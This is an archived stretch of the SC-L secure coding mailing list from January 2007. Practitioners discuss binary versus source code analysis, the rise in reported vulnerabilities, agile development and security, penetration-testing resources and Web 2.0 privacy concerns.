URL: http://krvw.com/pipermail/sc-l/attachments/20070122/6b347892/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070122/6b347892/attachment.bin 

From gem at cigital.com  Mon Jan 22 15:36:17 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 22 Jan 2007 15:36:17 -0500
Subject: [SC-L] Dark Reading - Discovery and management - Security
	StartupsMake Debut - Security News Analysis
Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7FC217@va-mail.cigital.com>

On page 107 of "Software Security" www.swsec.com <http://www.swsec.com>
, I talk about this very issue in a bit more depth.  I have attached a
pdf snapshot of that page from the book.
 
I think the idea of binary analysis is a great one for many reasons (see
Exploiting Software for a ton of examples), and I am glad that Veracode
has come out of stealth mode.  However, this should be treated as an
arrow in our quiver, not as the ultimate weapon.  I think the best part
of the business model these guys are pursuing is the idea of holding
COTS vendors accountable by outting them to their more dilligent
customers.
 
gem
 
company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com 

  _____  

From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Kenneth Van Wyk
Sent: Monday, January 22, 2007 1:53 PM
To: Secure Coding
Subject: [SC-L] Dark Reading - Discovery and management - Security
StartupsMake Debut - Security News Analysis


Ok, last software security news item for today, I promise.  :-)  This
article (see 
http://www.darkreading.com/document.asp?doc_id=115110&WT.svl=news1_1) is
about a couple of new startup companies.  One of them in particular,
Veracode, may be of some interest here.  The article says, "Veracode,
founded by Chris Wysopal and other former executives of @stake, is now
offering patented binary-code analysis of software for enterprises that
want to analyze their software's security on a regular basis. The ASP
will also offer security reviews of enterprise products and security
analysis of third-party apps for software developers." 

The article also provides some counterpoints, including some from Gary
McGraw, that are worth reading.  Among other things, Gary says,
"However, if you want real security analysis you have to go past the
binary, past the source code, and actually consider the design."


Opinions on binary vs. source code (and design!) analysis, anyone?


Cheers,


Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com






----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070122/6c446c43/attachment-0001.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: binary-analysis.pdf
Type: application/octet-stream
Size: 69649 bytes
Desc: binary-analysis.pdf
Url : http://krvw.com/pipermail/sc-l/attachments/20070122/6c446c43/attachment-0001.obj 

From gem at cigital.com  Mon Jan 22 15:43:02 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 22 Jan 2007 15:43:02 -0500
Subject: [SC-L] Silverbullet: Fortify TAB
Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7FC218@va-mail.cigital.com>

Hi all,

I am pleased to announce the tenth (!) episode of the "Silver Bullet
Security Podcast with Gary McGraw" was released today.  We tried
something different in this episode by doing a group interview with the
entire Fortify Technical Advisory Board.  This was a super opportunity
to cover software security from many different angles...which is
precisely what I did.

On the 'cast are the pontifacatory stylings of:
* Bill Pugh, Professor at University of Maryland, static analysis for
finding bugs
* Li Gong, GM at Microsoft, MSN in China
* Marcus Ranum, CSO of Tenable Network Security, security products
trainer
* Avi Rubin, Professor at Johns Hopkins, electronic voting security
* Fred Schneider, Professor at Cornell, trustworthy computing 
* Greg Morrisett, Professor at Harvard, dependant type theory
* Matt Bishop, Professor at UC Davis, computer security
* Dave Wagner, Professor at Berkeley, software security and electronic
voting

To listen, hit http://www.cigital.com/silverbullet/show-010/

Also note that during the same TAB meeting, reporters from ZDNet stopped
in and did an interview that resulted in this very software security o
centric blog entry: http://blogs.zdnet.com/BTL/?p=4280

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com 





----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ljknews at mac.com  Mon Jan 22 15:38:04 2007
From: ljknews at mac.com (ljknews)
Date: Mon, 22 Jan 2007 15:38:04 -0500
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
Message-ID: <p05200f0bc1dad04cdbab@[192.168.1.254]>

At 1:52 PM -0500 1/22/07, Kenneth Van Wyk wrote:
> Content-Type: multipart/signed; protocol="application/pgp-signature";
> 	micalg=pgp-sha1; boundary="Apple-Mail-12-58709954"
> Content-Transfer-Encoding: 7bit
>
> Ok, last software security news item for today, I promise.  :-)  This
>article (see
>
><http://www.darkreading.com/document.asp?doc_id=115110&WT.svl=news1_1>http://www.darkreading.com/document.asp?doc_id=115110&WT.svl=news1_1)
>is about a couple of new startup companies.  One of them in particular,
>Veracode, may be of some interest here.  The article says, "Veracode,
>founded by Chris Wysopal and other former executives of @stake, is now
>offering patented binary-code analysis of software for enterprises that
>want to analyze their software's security on a regular basis. The ASP will
>also offer security reviews of enterprise products and security analysis
>of third-party apps for software developers."
>
> The article also provides some counterpoints, including some from Gary
>McGraw, that are worth reading.  Among other things, Gary says, "However,
>if you want real security analysis you have to go past the binary, past
>the source code, and actually consider the design."
>
> Opinions on binary vs. source code (and design!) analysis, anyone?

Analyzing source code is independent of machine architecture.

My guess is that if a company actually is capable of analyzing
binary code they only do it for the highest volume instruction
sets.

My guess is that attackers will go after machines they feel are
less protected.

Efforts which merely change attacker behavior are a waste of time.
-- 
Larry Kilgallen

From weld at vulnwatch.org  Mon Jan 22 17:08:47 2007
From: weld at vulnwatch.org (Chris Wysopal)
Date: Mon, 22 Jan 2007 17:08:47 -0500 (EST)
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
Message-ID: <Pine.BSO.4.55.0701221653530.6395@vikki.vulnwatch.org>


Well since I am mentioned in the excerpt I will wade in.  I don't think
binary analysis and source analysis are all that different.  Both
approaches convert to an intermediate representation and then run checkers
on a model.  Source code analyzers use compiler technology to get to the
IR and binary analyzers use decompiler technology.  I would like to point
out that the binary doesn't need to be machine code, it can be java byte
code or .Net's MSIL.  Findbugs and FxCop operate on binaries so the
approach is not all new.

The big benefit I see to using binary analysis on machine code is modern
development teams don't write a whole program from scratch.  They often
link in a lot of binary code in the form of static and dynamic libraries.
These are either in house shared components, 3rd party libraries, or
libraries from platform providers.  This code can have vulnerabilities
themselves or cause vulnerabilities in the way they interact with the
code the development team has written.

Now some may be asking what happens when you find a vulnerability through
binary analysis?  How do you fix it?  The answer is to use debug symbols
to find the source file and line number associated with the binary offset
of the problem.  Yes, you may not have the symbols for a binary component
you link but once you know where and what the problem is you can often
work around it in your code.  I think binary analysis gives you more
information to use to secure software.

Of course design reviews are important for many programs.  Static analysis
is just one piece to the SDLC.  Good software requires good design and
good quality assurance.  Same goes for secure software.  It requires
secure design and secure testing.  That is where I see binary analysis
fitting in.

-Chris

On Mon, 22 Jan 2007, Kenneth Van Wyk wrote:

> Ok, last software security news item for today, I promise.  :-)  This
> article (see
> http://www.darkreading.com/document.asp?doc_id=115110&WT.svl=news1_1)
> is about a couple of new startup companies.  One of them in
> particular, Veracode, may be of some interest here.  The article
> says, "Veracode, founded by Chris Wysopal and other former executives
> of @stake, is now offering patented binary-code analysis of software
> for enterprises that want to analyze their software's security on a
> regular basis. The ASP will also offer security reviews of enterprise
> products and security analysis of third-party apps for software
> developers."
>
> The article also provides some counterpoints, including some from
> Gary McGraw, that are worth reading.  Among other things, Gary says,
> "However, if you want real security analysis you have to go past the
> binary, past the source code, and actually consider the design."
>
> Opinions on binary vs. source code (and design!) analysis, anyone?
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
>
>
>
>

From BlueBoar at thievco.com  Mon Jan 22 18:10:33 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Mon, 22 Jan 2007 15:10:33 -0800
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <p05200f0bc1dad04cdbab@[192.168.1.254]>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
	<p05200f0bc1dad04cdbab@[192.168.1.254]>
Message-ID: <45B54469.6010707@thievco.com>

ljknews wrote:
> Analyzing source code is independent of machine architecture.
> 
> My guess is that if a company actually is capable of analyzing
> binary code they only do it for the highest volume instruction
> sets.
> 
> My guess is that attackers will go after machines they feel are
> less protected.
> 
> Efforts which merely change attacker behavior are a waste of time.

Nope. If I'm running x86 boxes, I'd be more than happy to have to
attackers move to SPARC.

Besides, once a bug is found in the x86 binary, the problem gets fixed
in the source and/or compiler.

					BB

From ljknews at mac.com  Mon Jan 22 18:14:51 2007
From: ljknews at mac.com (ljknews)
Date: Mon, 22 Jan 2007 18:14:51 -0500
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <45B54469.6010707@thievco.com>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
	<p05200f0bc1dad04cdbab@[192.168.1.254]> <45B54469.6010707@thievco.com>
Message-ID: <p05200f01c1daf5c51fb3@[192.168.1.254]>

At 3:10 PM -0800 1/22/07, Blue Boar wrote:
> ljknews wrote:
>> Analyzing source code is independent of machine architecture.
>> 
>> My guess is that if a company actually is capable of analyzing
>> binary code they only do it for the highest volume instruction
>> sets.
>> 
>> My guess is that attackers will go after machines they feel are
>> less protected.
>> 
>> Efforts which merely change attacker behavior are a waste of time.
> 
> Nope. If I'm running x86 boxes, I'd be more than happy to have to
> attackers move to SPARC.

Those of us _not_ running X86 do not feel that way.
-- 
Larry Kilgallen

From list-procurare at secureconsulting.net  Mon Jan 22 20:47:10 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Mon, 22 Jan 2007 20:47:10 -0500
Subject: [SC-L] Vulnerability tallies surged in 2006 | The Register
In-Reply-To: <91AE4941-4AB8-4D15-B37C-46E40C68B707@krvw.com>
Message-ID: <003b01c73e90$65cd13e0$0a01a8c0@zippy>

This is completely unsurprising.  Apparently nobody told the agile dev
community that they still need to follow all the secure coding practices
preached at the traditional dev folks for eons.  XSS, redirects, and SQL
injection attacks are not revolutionary, are not all that interesting, and
are so common-place that it makes one wonder where these developers have
been the last 5-10 years.
 
Solution to date: throw out traditional design review, move to agile
security testing.  Why?  Because there seems rarely to be a design to
review, and certainly no time to do it in.  Overall, it's important that
agile apps be built on an underlying publishing framework so that inherited
vulns can be found and fixed across the board by focusing on a single
platform.
 
Next challenge: new year, new technology fads.  Web 2.0 is another code word
for "that's so last year".  Time to play catch-up, and January isn't over
yet! *sigh*  Oh, and speaking of Web 2.0, who's protecting the customer and
their data?  Better yet, who owns which data?  With mashups being the buzz
word du jour, you may think your data is on SiteA, when in fact it's spread
across SiteB, SiteC, and SiteD.  Wheee.
 
One bit of good news: agile dev has often meant, in my experience, rapid
resolution of discovered vulns.  Since you don't have the full SDLC (or
comparable) process to follow, or even a formalized patch mgmt process, it's
often just a matter of finding bugs (through targeted "hyper-testing" -
think flash-bang), sending them to the devies, waiting 10-30 minutes, and
watching the vuln disappear like magic.  Am curious how change mgmt works on
that, though... ;)
 
cheers,
 
-ben

---
Benjamin Tomhave, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/pub/0/622/964
Blog: http://www.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt


 


  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Kenneth Van Wyk
Sent: Monday, January 22, 2007 1:24 PM
To: Secure Coding
Subject: [SC-L] Vulnerability tallies surged in 2006 | The Register


FYI, CERT/CC reported 8064 software vulnerabilities in 2006, for a 35%
increase over 2005.

See http://www.theregister.co.uk/2007/01/21/2006_vulns_tally/ 

The article further states, "The greatest factor in the skyrocketing number
of vulnerabilities is that certain types of flaws in community and
commercial Web applications have become much easier to find, said Art
Manion, vulnerability team lead for the CERT Coordination Center. 

'The best we can figure, most of the growth is due to fairly
easy-to-discover vulnerabilities in Web applications," Manion said. "They
are easy to find, easy to create, and easy to deploy.'"

Cheers,

Ken

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com





-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070122/ee5be3b6/attachment-0001.html 

From Kevin.Wall at qwest.com  Mon Jan 22 23:57:39 2007
From: Kevin.Wall at qwest.com (Wall, Kevin)
Date: Mon, 22 Jan 2007 22:57:39 -0600
Subject: [SC-L] Vulnerability tallies surged in 2006 | The Register
References: <003b01c73e90$65cd13e0$0a01a8c0@zippy>
Message-ID: <CF8B26B8B49184429CB084616B00193002F2B0ED@itomae2km05.AD.QINTRA.COM>

Benjamin Tomhave wrote...
> This is completely unsurprising.  Apparently nobody told the agile
> dev community that they still need to follow all the secure coding
> practices preached at the traditional dev folks for eons.  XSS,
> redirects, and SQL injection attacks are not revolutionary, are not
> all that interesting, and are so common-place that it makes one wonder
> where these developers have been the last 5-10 years.
> 
> Solution to date: throw out traditional design review, move to agile
> security testing.  Why?  Because there seems rarely to be a design
> to review, and certainly no time to do it in.  Overall, it's important
> that agile apps be built on an underlying publishing framework so
> that inherited vulns can be found and fixed across the board by
> focusing on a single platform.
 
I think many in the security community have had similar thoughts for
years. IIRC, I think Gary McGraw even made a prediction at one point
that agile development methods would be the worst setback to information
security in years, or something to that affect. (At least I think it
was Gary. If not, my bad memory is at fault. Or perhaps I should say...
my bad...memory?)
 
Agile development is good at things when their users have some idea of
how they'd like to see the system work, so it usually works fairly well
for things like laying out screens, workflow, etc. as well as many
business applications which are presently being done manually. However,
generally these users are clueless when it comes to security. If the developers
were using a more traditional SDLC and their users were writing up business
requirements, the typical requirement (ones I have actually seen) are things
like "The user must login" and "The system must be secure". That's about
as sophisticated as they get. If your have developers are know a lot of
security, then they _might_ make it work, but the agile development
methods, which emphasizing working closely with your users, doesn't
work well for security matters because most users don't even know what
to ask for.
 
IMO, another reason why agile development fails miserably to result in
secure programs is because security cuts across the grain of the entire
application. While you can have a trusted kernel or whatever be a
logically isolated component, much of security has to be DESIGNED IN,
FROM THE START. Because all it takes is a single incorrectly functioning
piece to ruin your entire security. Most agile development teams that I've
seen here think that they can leave security issues to the end that then
put in in that special "security module". One problem is that security
must be anywhere that untrusted input can come from which is usually
quite a few places.  In that sense, trying to add in security to an
application developed using agile methods is similar to attempting to
add concurrency / multi-threading to an application after-the-fact.
Sure, you _can_ do it, but what it results in is a system with a few
course grained locks and very little concurrency. Concurrency cuts across
various aspects, just like security does. That's why I don't see it as
a particularly good fit for agile development. (OTOH, I think it should
be a great fit with Aspect Oriented Programming, but that's another topic.)
And while I'm on a roll (at least in the ego of my own mind ;-) one other
place that I think is a rotten match for agile development. If the
software you are developing is supposed to be a reusable class library,
I don't find agile development a particularly good fit. Publish the
interfaces of a reusable class library for the first release and then
go ahead and just try to refactor those interfaces after you have a 1/2
dozen clients using release 1.0. If they don't skin you alive, they
certainly won't be your clients for your next release.
 
But enough rambling.
-kevin
---
Kevin W. Wall Qwest Information Technology, Inc.
Kevin.Wall at qwest.com Phone: 614.215.4788
"The reason you have people breaking into your software all 
over the place is because your software sucks..."
-- Former whitehouse cybersecurity advisor, Richard Clarke,
    at eWeek Security Summit


This communication is the property of Qwest and may contain confidential or
privileged information. Unauthorized use of this communication is strictly 
prohibited and may be unlawful.  If you have received this communication 
in error, please immediately notify the sender by reply e-mail and destroy 
all copies of the communication and any attachments.


From weld at vulnwatch.org  Tue Jan 23 09:30:26 2007
From: weld at vulnwatch.org (Chris Wysopal)
Date: Tue, 23 Jan 2007 09:30:26 -0500 (EST)
Subject: [SC-L] Adapting Penetration Testing for Software Development
 Purposes
In-Reply-To: <67E62E6C-8AA4-453D-9272-AD428C08B3D9@krvw.com>
References: <67E62E6C-8AA4-453D-9272-AD428C08B3D9@krvw.com>
Message-ID: <Pine.BSO.4.55.0701230919130.6885@vikki.vulnwatch.org>


Ken,

I enjoyed reading your this article.  My book "The Art of Software
Security Testing"  is based on the concept of using penetration techniques
as part of the development lifecycle and is specifically targetted at QA
professionals.  One of my co-authors Elfriede Dustin has written 5 QA
books and assured that the book was accessible to that audience.

There are some free chapters of the book available:


Chapter 3: The Secure Software Development Lifecycle
http://www.devsource.com/article2/0,1895,2055988,00.asp

Charter 4: Risk-Based Security Testing: Prioritizing Security Testing with
Threat Modeling
http://www.prnewswire.com/mnr/veracode/26386/docs/Wysopal_Rev-Chapter%2004.pdf

Chapter 5: Shades of Analysis: White, Gray, and Black Box Testing
http://computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=security&articleId=9006870&taxonomyId=17&intsrc=kc_feat

Cheers,

Chris


On Mon, 22 Jan 2007, Kenneth Van Wyk wrote:

> Greetings SC-L folk,
>
> FYI, there's been a wave of new content added to the DHS-funded
> software security portal, Build Security In (home URL is http://
> BuildSecurityIn.us-cert.gov).  Most recently, a couple of articles
> about penetration testing and tools were added (see
> https://buildsecurityin.us-cert.gov/daisy/bsi/articles/best-practices/
> penetration/655.html?branch=1&language=1).
>
> (Full disclosure: I'm the author of the pen testing articles, but
> don't let that stop you from grabbing them.  ;-)
>
> All of the articles on the BSI portal are free.
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
>
>
>
>

From peter.werner at gmail.com  Tue Jan 23 21:56:49 2007
From: peter.werner at gmail.com (pete werner)
Date: Wed, 24 Jan 2007 13:56:49 +1100
Subject: [SC-L] Vulnerability tallies surged in 2006 | The Register
In-Reply-To: <91AE4941-4AB8-4D15-B37C-46E40C68B707@krvw.com>
References: <91AE4941-4AB8-4D15-B37C-46E40C68B707@krvw.com>
Message-ID: <6378f48a0701231856y1ccf7dfam2f4e4b6022e154d@mail.gmail.com>

This strikes me as largely meaningless, bordering on good news. More
bugs found = more bugs fixed = more secure software.

I dont really think you can compare the numbers from 2001 and 2006
though. There's way more people looking for bugs now than there were
in 2001. Maybe there were more bugs around in 2001 as secure coding
practises still weren't well known, and security was nowhere as
mainstream as it is now, so your average developer was less aware of
secure coding practises and techniques.

Also, nowadays people rush to disclose vulnerabilites, no matter how
minor they may be. There were plenty of vulnerabilites discovered in
2001 that weren't publicly disclosed, and some that probably still
remain undisclosed.

I would be interested to see what conclusions you can actually draw
from these figures (really).

On 1/23/07, Kenneth Van Wyk <ken at krvw.com> wrote:
>
> FYI, CERT/CC reported 8064 software vulnerabilities in 2006, for a 35%
> increase over 2005.
>
> See
> http://www.theregister.co.uk/2007/01/21/2006_vulns_tally/
>
> The article further states, "The greatest factor in the skyrocketing number
> of vulnerabilities is that certain types of flaws in community and
> commercial Web applications have become much easier to find, said Art
> Manion, vulnerability team lead for the CERT Coordination Center.
>
> 'The best we can figure, most of the growth is due to fairly
> easy-to-discover vulnerabilities in Web applications," Manion said. "They
> are easy to find, easy to create, and easy to deploy.'"
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
>
>
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at -
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>
>

From dinis at ddplus.net  Wed Jan 24 05:54:38 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Wed, 24 Jan 2007 10:54:38 +0000
Subject: [SC-L] Vulnerability tallies surged in 2006 | The Register
In-Reply-To: <6378f48a0701231856y1ccf7dfam2f4e4b6022e154d@mail.gmail.com>
References: <91AE4941-4AB8-4D15-B37C-46E40C68B707@krvw.com>
	<6378f48a0701231856y1ccf7dfam2f4e4b6022e154d@mail.gmail.com>
Message-ID: <701fd6b60701240254m445c9005ia7bba84cb0e65296@mail.gmail.com>

You also are not taking into account the number of vulnerabilities that are
discovered by security consultants under NDA which are never published.

I have lost the count on the number of vulnerabilities (at the time
zero-days) that I have discovered in commercial software and where never
published (and in some cases even patched or communicated to their
clients/users).

And when talking to my peers, I would estimate that if these vulnerabilities
discovered under NDAs where reported, the number below would be much, much,
much bigger.

Maybe one day when companies are forced (by law) to disclose the
vulnerabilities that they know exist in their products (maybe in a format
similar to http://research.eeye.com/html/advisories/upcoming/), we will have
a good picture of what is really going on.

Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org

On 1/24/07, pete werner <peter.werner at gmail.com> wrote:
>
> This strikes me as largely meaningless, bordering on good news. More
> bugs found = more bugs fixed = more secure software.
>
> I dont really think you can compare the numbers from 2001 and 2006
> though. There's way more people looking for bugs now than there were
> in 2001. Maybe there were more bugs around in 2001 as secure coding
> practises still weren't well known, and security was nowhere as
> mainstream as it is now, so your average developer was less aware of
> secure coding practises and techniques.
>
> Also, nowadays people rush to disclose vulnerabilites, no matter how
> minor they may be. There were plenty of vulnerabilites discovered in
> 2001 that weren't publicly disclosed, and some that probably still
> remain undisclosed.
>
> I would be interested to see what conclusions you can actually draw
> from these figures (really).
>
> On 1/23/07, Kenneth Van Wyk <ken at krvw.com> wrote:
> >
> > FYI, CERT/CC reported 8064 software vulnerabilities in 2006, for a 35%
> > increase over 2005.
> >
> > See
> > http://www.theregister.co.uk/2007/01/21/2006_vulns_tally/
> >
> > The article further states, "The greatest factor in the skyrocketing
> number
> > of vulnerabilities is that certain types of flaws in community and
> > commercial Web applications have become much easier to find, said Art
> > Manion, vulnerability team lead for the CERT Coordination Center.
> >
> > 'The best we can figure, most of the growth is due to fairly
> > easy-to-discover vulnerabilities in Web applications," Manion said.
> "They
> > are easy to find, easy to create, and easy to deploy.'"
> >
> > Cheers,
> >
> > Ken
> > -----
> > Kenneth R. van Wyk
> > SC-L Moderator
> > KRvW Associates, LLC
> > http://www.KRvW.com
> >
> >
> >
> >
> >
> > _______________________________________________
> > Secure Coding mailing list (SC-L) SC-L at securecoding.org
> > List information, subscriptions, etc -
> > http://krvw.com/mailman/listinfo/sc-l
> > List charter available at -
> > http://www.securecoding.org/list/charter.php
> > SC-L is hosted and moderated by KRvW Associates, LLC (
> http://www.KRvW.com)
> > as a free, non-commercial service to the software security community.
> > _______________________________________________
> >
> >
> >
> >
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>



--
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070124/262d7366/attachment.html 

From avis at bll.co.il  Thu Jan 25 02:05:52 2007
From: avis at bll.co.il (Avi Shvartz)
Date: Thu, 25 Jan 2007 09:05:52 +0200
Subject: [SC-L] WEB2.0 Security Issues
Message-ID: <!&!AAAAAAAAAAAYAAAAAAAAAKv3BZ88aJFAu90tZKMExaLCgAAAEAAAAOUWvA2TBtdGgjBZMetA4MoBAAAAAA==@bll.co.il>


Hello list,
Lately I read some articles that cover WEB2.0 from various aspects (social,
technical etc.).
What I am missing is a reference to security & privacy issues related to
WEB2.0.
I would like to hear opinions what are the new security & privacy concerns
that WEB2.0 
Creates and if possible, links to relevant resources 
Thanks,
Avi

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070125/3cfdf573/attachment.html 

From mouse at Rodents.Montreal.QC.CA  Thu Jan 25 15:45:15 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 25 Jan 2007 15:45:15 -0500 (EST)
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <p05200f0bc1dad04cdbab@[192.168.1.254]>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
	<p05200f0bc1dad04cdbab@[192.168.1.254]>
Message-ID: <200701252054.PAA23191@Sparkle.Rodents.Montreal.QC.CA>

>> Opinions on binary vs. source code (and design!) analysis, anyone?
> Analyzing source code is independent of machine architecture.

Only if the code is (supposed to be) architecture-independent.  If the
code is deliberately architecture-dependent, static analysis needs to
know that, and know which the salient properties of its target
architecture(s) is(are), in order to do a proper job.

> Efforts which merely change attacker behavior are a waste of time.

I disagree.  It depends on the effort required to provoke the change,
the change in attacker behaviour, and the tradeoffs involved in the
threat model.  To pick a historic example, fixing the "rlogin -l
-froot" bug "merely" changed attacker behaviour to password guessing,
but in most environments it was nevertheless a win.

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From crispin at novell.com  Thu Jan 25 01:20:34 2007
From: crispin at novell.com (Crispin Cowan)
Date: Thu, 25 Jan 2007 17:20:34 +1100
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <p05200f0bc1dad04cdbab@[192.168.1.254]>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
	<p05200f0bc1dad04cdbab@[192.168.1.254]>
Message-ID: <45B84C32.2080907@novell.com>

ljknews wrote:
> My guess is that if a company actually is capable of analyzing
> binary code they only do it for the highest volume instruction
> sets.
>   
They certainly will focus on larger markets first. If you want them to
focus on *your* market, make it worth their while :) SUSE Linux does a
lot for the Z series mainframe market because they are willing to pay
for it. The market for, say, Motorola 88000 CPUs is relatively sparse :)

> My guess is that attackers will go after machines they feel are
> less protected.
>   
I fully disagree with that. There are 2 kinds of attackers:

   1. Bottom feeders. These people troll for very common vulnerabilities
      with scanners and worms, trying to build botnets. There are
      *plenty* of people with unprotected x86 machines, so that is what
      they target, regardless of any optional technology add-ons people
      develop for that platform.
   2. Targeted attackers. These people are professionals, and they are
      going after a specific target. They don't select targets on the
      basis of vulnerability, they select the target for external
      reasons having nothing to do with the defenses deployed.

In between would be criminals of opportunity who seek targets that are
both valuable and soft. But that is really just a more sophisticated
variant of #1.

As a defender, you need to care about the strength of your defense in
proportion to the value of your assets. If your assets are not
particularly valuable, then only deploy the basic defenses to shed the
ankle biters in class 1. If your assets are more valuable, then deploy
more thorough/expensive defenses until the cost of the defenses exceeds
the calculated risk to your assets.

Crispin

-- 
Crispin Cowan, Ph.D.                      http://crispincowan.com/~crispin/
Director of Software Engineering, Novell  http://novell.com
     Hacking is exploiting the gap between "intent" and "implementation"



From ljknews at mac.com  Sat Jan 27 21:17:09 2007
From: ljknews at mac.com (ljknews)
Date: Sat, 27 Jan 2007 21:17:09 -0500
Subject: [SC-L] Dark Reading - Discovery and management - Security
 Startups Make Debut - Security News Analysis
In-Reply-To: <45B84C32.2080907@novell.com>
References: <270CB489-9CD1-46A6-85D5-45A97868CF6C@krvw.com>
	<p05200f0bc1dad04cdbab@[192.168.1.254]> <45B84C32.2080907@novell.com>
Message-ID: <p05200f29c1e1b7c04bbb@[192.168.1.254]>

At 5:20 PM +1100 1/25/07, Crispin Cowan wrote:
> ljknews wrote:
>> My guess is that if a company actually is capable of analyzing
>> binary code they only do it for the highest volume instruction
>> sets.
>>   
> They certainly will focus on larger markets first. If you want them to
> focus on *your* market, make it worth their while :)

So I should pay to have them check the work of my vendors ?

Or I would convince my vendors to pay them ?

Sorry, my business is not that large a fraction of my vendors' customer base.
-- 
Larry Kilgallen

From list-procurare at secureconsulting.net  Mon Jan 29 00:21:02 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Mon, 29 Jan 2007 00:21:02 -0500
Subject: [SC-L] WEB2.0 Security Issues
In-Reply-To: <!&!AAAAAAAAAAAYAAAAAAAAAKv3BZ88aJFAu90tZKMExaLCgAAAEAAAAOUWvA2TBtdGgjBZMetA4MoBAAAAAA==@bll.co.il>
Message-ID: <006701c74365$44a6d2d0$0a01a8c0@zippy>

Avi,

This is an excellent question, which I've been mulling over the past few
weeks... after taking a few days, here are my thoughts and concerns with Web
2.0... 

-------------------------------------
Web 2.0 vs. Privacy & Security
Permalink:
http://www.secureconsulting.net/2007/01/web_20_vs_privacy_security_1.html

